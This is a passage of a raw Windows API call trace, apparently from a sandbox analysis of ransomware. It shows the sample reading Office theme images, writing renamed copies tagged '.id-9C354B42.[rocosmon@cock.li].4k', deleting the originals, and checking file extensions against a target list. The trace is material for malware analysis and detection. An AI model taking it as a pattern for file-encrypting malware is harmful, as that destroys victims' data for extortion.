	[0102.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.472] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.472] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0102.472] GetLastError () returned 0x0
	[0102.472] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x5093, lpOverlapped=0x0) returned 1
	[0102.668] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x50a0, lpOverlapped=0x0) returned 1
	[0102.669] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.669] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.670] SetEndOfFile (hFile=0x1e4) returned 1
	[0102.670] CloseHandle (hObject=0x1e4) returned 1
	[0102.670] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.670] SetEndOfFile (hFile=0x1d8) returned 1
	[0102.671] CloseHandle (hObject=0x1d8) returned 1
	[0102.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.671] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1
	[0102.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.672] lstrlenW (lpString=".doc") returned 4
	[0102.672] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.672] lstrlenW (lpString=".docx") returned 5
	[0102.672] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.672] lstrlenW (lpString=".pdf") returned 4
	[0102.672] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.672] lstrlenW (lpString=".xls") returned 4
	[0102.672] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.672] lstrlenW (lpString=".xlsx") returned 5
	[0102.672] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.672] lstrlenW (lpString=".ppt") returned 4
	[0102.672] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.672] lstrlenW (lpString=".zip") returned 4
	[0102.672] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.673] lstrlenW (lpString=".rar") returned 4
	[0102.673] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.673] lstrlenW (lpString=".bz2") returned 4
	[0102.673] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.673] lstrlenW (lpString=".7z") returned 3
	[0102.673] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.673] lstrlenW (lpString=".dbf") returned 4
	[0102.673] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.673] lstrlenW (lpString=".1cd") returned 4
	[0102.673] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.673] lstrlenW (lpString=".jpg") returned 4
	[0102.673] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.673] lstrlenW (lpString=".doc") returned 4
	[0102.673] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.673] lstrlenW (lpString=".docx") returned 5
	[0102.673] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.673] lstrlenW (lpString=".pdf") returned 4
	[0102.673] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.673] lstrlenW (lpString=".xls") returned 4
	[0102.673] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.673] lstrlenW (lpString=".xlsx") returned 5
	[0102.673] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.673] lstrlenW (lpString=".ppt") returned 4
	[0102.673] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.673] lstrlenW (lpString=".zip") returned 4
	[0102.673] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.674] lstrlenW (lpString=".rar") returned 4
	[0102.674] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.674] lstrlenW (lpString=".bz2") returned 4
	[0102.674] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.674] lstrlenW (lpString=".7z") returned 3
	[0102.674] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.674] lstrlenW (lpString=".dbf") returned 4
	[0102.674] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.674] lstrlenW (lpString=".1cd") returned 4
	[0102.674] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75
	[0102.674] lstrlenW (lpString=".jpg") returned 4
	[0102.674] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.674] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.674] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.675] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=2722) returned 1
	[0102.675] CloseHandle (hObject=0x1d8) returned 1
	[0102.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20
	[0102.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.675] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.675] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0102.677] GetLastError () returned 0x0
	[0102.677] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0xaa2, lpOverlapped=0x0) returned 1
	[0102.756] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xab0, lpOverlapped=0x0) returned 1
	[0102.758] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.758] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.758] SetEndOfFile (hFile=0x1e4) returned 1
	[0102.758] CloseHandle (hObject=0x1e4) returned 1
	[0102.758] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.758] SetEndOfFile (hFile=0x1d8) returned 1
	[0102.759] CloseHandle (hObject=0x1d8) returned 1
	[0102.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.759] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1
	[0102.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.760] lstrlenW (lpString=".doc") returned 4
	[0102.760] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.760] lstrlenW (lpString=".docx") returned 5
	[0102.760] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.760] lstrlenW (lpString=".pdf") returned 4
	[0102.760] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.760] lstrlenW (lpString=".xls") returned 4
	[0102.760] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.760] lstrlenW (lpString=".xlsx") returned 5
	[0102.760] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.760] lstrlenW (lpString=".ppt") returned 4
	[0102.760] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.760] lstrlenW (lpString=".zip") returned 4
	[0102.760] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.760] lstrlenW (lpString=".rar") returned 4
	[0102.761] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.761] lstrlenW (lpString=".bz2") returned 4
	[0102.761] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.761] lstrlenW (lpString=".7z") returned 3
	[0102.761] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.761] lstrlenW (lpString=".dbf") returned 4
	[0102.761] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.761] lstrlenW (lpString=".1cd") returned 4
	[0102.761] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.761] lstrlenW (lpString=".jpg") returned 4
	[0102.761] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.761] lstrlenW (lpString=".doc") returned 4
	[0102.761] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.761] lstrlenW (lpString=".docx") returned 5
	[0102.761] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.761] lstrlenW (lpString=".pdf") returned 4
	[0102.761] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.761] lstrlenW (lpString=".xls") returned 4
	[0102.761] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.761] lstrlenW (lpString=".xlsx") returned 5
	[0102.761] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.761] lstrlenW (lpString=".ppt") returned 4
	[0102.761] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.762] lstrlenW (lpString=".zip") returned 4
	[0102.762] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.762] lstrlenW (lpString=".rar") returned 4
	[0102.762] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.762] lstrlenW (lpString=".bz2") returned 4
	[0102.762] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.762] lstrlenW (lpString=".7z") returned 3
	[0102.762] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.762] lstrlenW (lpString=".dbf") returned 4
	[0102.762] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.762] lstrlenW (lpString=".1cd") returned 4
	[0102.762] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74
	[0102.762] lstrlenW (lpString=".jpg") returned 4
	[0102.762] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.762] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.762] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.763] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=32607) returned 1
	[0102.763] CloseHandle (hObject=0x1d8) returned 1
	[0102.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20
	[0102.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0102.763] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.763] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0102.764] GetLastError () returned 0x0
	[0102.764] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x7f5f, lpOverlapped=0x0) returned 1
	[0102.775] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x7f60, lpOverlapped=0x0) returned 1
	[0102.776] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.776] WriteFile (in: hFile=0x1e4, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.777] SetEndOfFile (hFile=0x1e4) returned 1
	[0102.777] CloseHandle (hObject=0x1e4) returned 1
	[0102.777] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.777] SetEndOfFile (hFile=0x1d8) returned 1
	[0102.778] CloseHandle (hObject=0x1d8) returned 1
	[0102.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.779] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1
	[0102.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.779] lstrlenW (lpString=".doc") returned 4
	[0102.779] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.779] lstrlenW (lpString=".docx") returned 5
	[0102.779] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.779] lstrlenW (lpString=".pdf") returned 4
	[0102.779] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.779] lstrlenW (lpString=".xls") returned 4
	[0102.779] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.779] lstrlenW (lpString=".xlsx") returned 5
	[0102.779] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.779] lstrlenW (lpString=".ppt") returned 4
	[0102.779] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.780] lstrlenW (lpString=".zip") returned 4
	[0102.780] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.780] lstrlenW (lpString=".rar") returned 4
	[0102.780] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.780] lstrlenW (lpString=".bz2") returned 4
	[0102.780] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.780] lstrlenW (lpString=".7z") returned 3
	[0102.780] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.780] lstrlenW (lpString=".dbf") returned 4
	[0102.780] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.780] lstrlenW (lpString=".1cd") returned 4
	[0102.780] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.780] lstrlenW (lpString=".jpg") returned 4
	[0102.780] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.780] lstrlenW (lpString=".doc") returned 4
	[0102.780] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.780] lstrlenW (lpString=".docx") returned 5
	[0102.780] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.780] lstrlenW (lpString=".pdf") returned 4
	[0102.780] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.780] lstrlenW (lpString=".xls") returned 4
	[0102.780] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.781] lstrlenW (lpString=".xlsx") returned 5
	[0102.781] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.781] lstrlenW (lpString=".ppt") returned 4
	[0102.781] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.781] lstrlenW (lpString=".zip") returned 4
	[0102.781] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.781] lstrlenW (lpString=".rar") returned 4
	[0102.781] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.781] lstrlenW (lpString=".bz2") returned 4
	[0102.781] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.781] lstrlenW (lpString=".7z") returned 3
	[0102.781] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.781] lstrlenW (lpString=".dbf") returned 4
	[0102.781] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.781] lstrlenW (lpString=".1cd") returned 4
	[0102.781] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0102.781] lstrlenW (lpString=".jpg") returned 4
	[0102.781] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.781] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.781] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.844] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=2044) returned 1
